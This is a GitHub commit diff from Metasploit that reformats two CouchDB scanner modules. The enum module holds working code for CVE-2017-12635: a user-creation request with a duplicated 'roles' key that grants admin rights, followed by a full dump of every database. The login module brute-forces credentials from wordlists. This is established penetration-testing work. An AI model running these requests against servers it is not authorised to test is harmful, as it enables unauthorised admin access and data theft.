Skip to content

Commit be8bb63

Browse files
authored
Land #20237, resolves RuboCop violations in auxiliary/scanner/couchdb
modules/auxiliary/scanner/couchdb: Resolve RuboCop violations
2 parents d04df22 + 170d007 commit be8bb63

File tree

2 files changed

+114
-93
lines changed

2 files changed

+114
-93
lines changed

modules/auxiliary/scanner/couchdb/couchdb_enum.rb

Lines changed: 62 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -8,27 +8,33 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Report
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'CouchDB Enum Utility',
13-
'Description' => %q{
14-
This module enumerates databases on CouchDB using the REST API
15-
(without authentication by default).
16-
},
17-
'References' =>
18-
[
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'CouchDB Enum Utility',
15+
'Description' => %q{
16+
This module enumerates databases on CouchDB using the REST API
17+
(without authentication by default).
18+
},
19+
'References' => [
1920
['CVE', '2017-12635'],
2021
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
2122
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
2223
],
23-
'Author' =>
24-
[
24+
'Author' => [
2525
'Max Justicz', # Vulnerability discovery
2626
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
2727
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
2828
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
2929
],
30-
'License' => MSF_LICENSE
31-
))
30+
'License' => MSF_LICENSE,
31+
'Notes' => {
32+
'Stability' => [CRASH_SAFE],
33+
'SideEffects' => [],
34+
'Reliability' => []
35+
}
36+
)
37+
)
3238

3339
register_options(
3440
[
@@ -39,8 +45,8 @@ def initialize(info = {})
3945
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
4046
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
4147
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])
42-
43-
])
48+
]
49+
)
4450
end
4551

4652
def valid_response(res)
@@ -52,7 +58,7 @@ def get_version
5258

5359
begin
5460
res = send_request_cgi(
55-
'uri' => '/',
61+
'uri' => '/',
5662
'method' => 'GET'
5763
)
5864
rescue Rex::ConnectionError
@@ -88,8 +94,10 @@ def get_version
8894

8995
def check
9096
return Exploit::CheckCode::Unknown unless get_version
97+
9198
version = Rex::Version.new(@version)
9299
return Exploit::CheckCode::Unknown if version.version.empty?
100+
93101
vprint_good("#{peer} - Found CouchDB version #{version}")
94102

95103
return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
@@ -100,13 +108,13 @@ def check
100108
def get_dbs(auth)
101109
begin
102110
res = send_request_cgi(
103-
'uri' => normalize_uri(target_uri.path),
111+
'uri' => normalize_uri(target_uri.path),
104112
'method' => 'GET'
105113
)
106114

107115
temp = JSON.parse(res.body)
108116
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
109-
print_error("#{peer} - The following Error was encountered: #{e.class}")
117+
print_error("#{peer} - The following error was encountered: #{e.class}")
110118
return
111119
end
112120

@@ -118,7 +126,7 @@ def get_dbs(auth)
118126
print_status("#{peer} - Enumerating Databases...")
119127
results = JSON.pretty_generate(temp)
120128
print_good("#{peer} - Databases:\n\n#{results}\n")
121-
path = store_loot(
129+
path = store_loot(
122130
'couchdb.enum',
123131
'application/json',
124132
rhost,
@@ -130,39 +138,36 @@ def get_dbs(auth)
130138
res.get_json_document.each do |db|
131139
r = send_request_cgi(
132140
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
133-
'method'=> 'GET',
141+
'method' => 'GET',
134142
'authorization' => auth,
135-
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
136-
)
137-
if r.code != 200
138-
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
139-
return
140-
end
141-
temp = JSON.parse(r.body)
142-
results = JSON.pretty_generate(temp)
143-
path = store_loot(
144-
"couchdb.#{db}",
145-
"application/json",
146-
rhost,
147-
results,
148-
"CouchDB Databases"
149-
)
150-
print_good("#{peer} - #{db} saved in: #{path}")
143+
'vars_get' => { 'include_docs' => 'true', 'attachments' => 'true' }
144+
)
145+
146+
if r.code != 200
147+
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
148+
break
149+
end
150+
151+
temp = JSON.parse(r.body)
152+
results = JSON.pretty_generate(temp)
153+
path = store_loot(
154+
"couchdb.#{db}",
155+
'application/json',
156+
rhost,
157+
results,
158+
'CouchDB Databases'
159+
)
160+
print_good("#{peer} - #{db} saved in: #{path}")
151161
end
152162
end
153163

154-
def get_server_info(auth)
155-
begin
156-
res = send_request_cgi(
157-
'uri' => '/',
158-
'method' => 'GET'
159-
)
164+
def get_server_info(_auth)
165+
res = send_request_cgi(
166+
'uri' => '/',
167+
'method' => 'GET'
168+
)
160169

161-
temp = JSON.parse(res.body)
162-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
163-
print_error("#{peer} - The following Error was encountered: #{e.class}")
164-
return
165-
end
170+
temp = JSON.parse(res.body)
166171

167172
unless valid_response(res)
168173
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
@@ -179,28 +184,31 @@ def get_server_info(auth)
179184
proto: 'tcp',
180185
info: res.body
181186
)
187+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
188+
print_error("#{peer} - The following error was encountered: #{e.class}")
182189
end
183190

184191
def create_user
185192
username = datastore['HttpUsername']
186193
password = datastore['HttpPassword']
187194
roles = datastore['ROLES']
188195
timeout = datastore['TIMEOUT']
189-
version = @version
190196

191-
data = %Q({
197+
data = %({
192198
"type": "user",
193199
"name": "#{username}",
194200
"roles": ["#{roles}"],
195201
"roles": [],
196202
"password": "#{password}"
197203
})
198204
res = send_request_cgi(
199-
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
200-
'method' => 'PUT',
201-
'ctype' => 'text/json',
202-
'data' => data,
203-
}, timeout)
205+
{
206+
'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
207+
'method' => 'PUT',
208+
'ctype' => 'text/json',
209+
'data' => data
210+
}, timeout
211+
)
204212

205213
unless res && res.code == 200
206214
print_error("#{peer} - Change Failed")
@@ -220,6 +228,7 @@ def run
220228
print_good("#{peer} - Found CouchDB version #{version}")
221229
create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
222230
end
231+
223232
auth = basic_auth(username, password) if username && password
224233
get_server_info(auth) if datastore['SERVERINFO']
225234
get_dbs(auth)

modules/auxiliary/scanner/couchdb/couchdb_login.rb

Lines changed: 52 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -9,68 +9,80 @@ class MetasploitModule < Msf::Auxiliary
99
include Msf::Auxiliary::AuthBrute
1010
include Msf::Auxiliary::Scanner
1111

12-
def initialize(info={})
13-
super(update_info(info,
14-
'Name' => 'CouchDB Login Utility',
15-
'Description' => %{
16-
This module tests CouchDB logins on a range of
17-
machines and report successful logins.
18-
},
19-
'Author' =>
20-
[
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'CouchDB Login Utility',
17+
'Description' => %q{
18+
This module tests CouchDB logins on a range of
19+
machines and report successful logins.
20+
},
21+
'Author' => [
2122
'espreto <robertoespreto[at]gmail.com>'
2223
],
23-
'License' => MSF_LICENSE
24-
))
24+
'License' => MSF_LICENSE,
25+
'Notes' => {
26+
'Stability' => [CRASH_SAFE],
27+
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
28+
'Reliability' => []
29+
}
30+
)
31+
)
2532

2633
register_options(
2734
[
2835
Opt::RPORT(5984),
29-
OptString.new('TARGETURI', [false, "TARGETURI for CouchDB. Default here is /", "/"]),
30-
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
31-
File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]),
32-
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
33-
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
34-
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
35-
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
36-
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
37-
])
36+
OptString.new('TARGETURI', [false, 'TARGETURI for CouchDB. Default here is /', '/']),
37+
OptPath.new('USERPASS_FILE', [
38+
false, 'File containing users and passwords separated by space, one pair per line',
39+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')
40+
]),
41+
OptPath.new('USER_FILE', [
42+
false, 'File containing users, one per line',
43+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')
44+
]),
45+
OptPath.new('PASS_FILE', [
46+
false, 'File containing passwords, one per line',
47+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
48+
]),
49+
OptBool.new('USER_AS_PASS', [ false, 'Try the username as the password for all users', false]),
50+
]
51+
)
3852

3953
deregister_options('HttpUsername', 'HttpPassword')
4054
end
4155

42-
def run_host(ip)
43-
56+
def run_host(_ip)
4457
user = datastore['HttpUsername'].to_s
4558
pass = datastore['HttpPassword'].to_s
4659

4760
if user.nil? || user.strip == ''
48-
each_user_pass do |user, pass|
49-
do_login(user, pass)
61+
each_user_pass do |u, p|
62+
do_login(u, p)
5063
end
5164
return
5265
end
5366

5467
vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")
5568

56-
uri = target_uri.path
69+
uri = target_uri.path
5770

58-
res = send_request_cgi({
59-
'uri' => normalize_uri(uri, '_users/_all_docs'),
60-
'method' => 'GET',
61-
'authorization' => basic_auth(user, pass)
62-
})
63-
64-
return if res.nil?
65-
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
66-
return if (res.code == 404)
71+
res = send_request_cgi({
72+
'uri' => normalize_uri(uri, '_users/_all_docs'),
73+
'method' => 'GET',
74+
'authorization' => basic_auth(user, pass)
75+
})
6776

68-
if [200, 301, 302].include?(res.code)
69-
vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
70-
end
77+
return if res.nil?
78+
return if res.headers['Server'].nil? || res.headers['Server'] !~ /CouchDB/
79+
return if res.code == 404
7180

72-
rescue ::Rex::ConnectionError
73-
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
81+
if [200, 301, 302].include?(res.code)
82+
vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
83+
end
84+
rescue ::Rex::ConnectionError
85+
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
7486
end
7587

7688
def report_cred(opts)
@@ -131,7 +143,7 @@ def do_login(user, pass)
131143
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
132144
print_error('HTTP connection failed, aborting')
133145
return :abort
134-
rescue => e
146+
rescue StandardError => e
135147
print_error("Error: #{e}")
136148
return nil
137149
end

0 commit comments

Comments
 (0)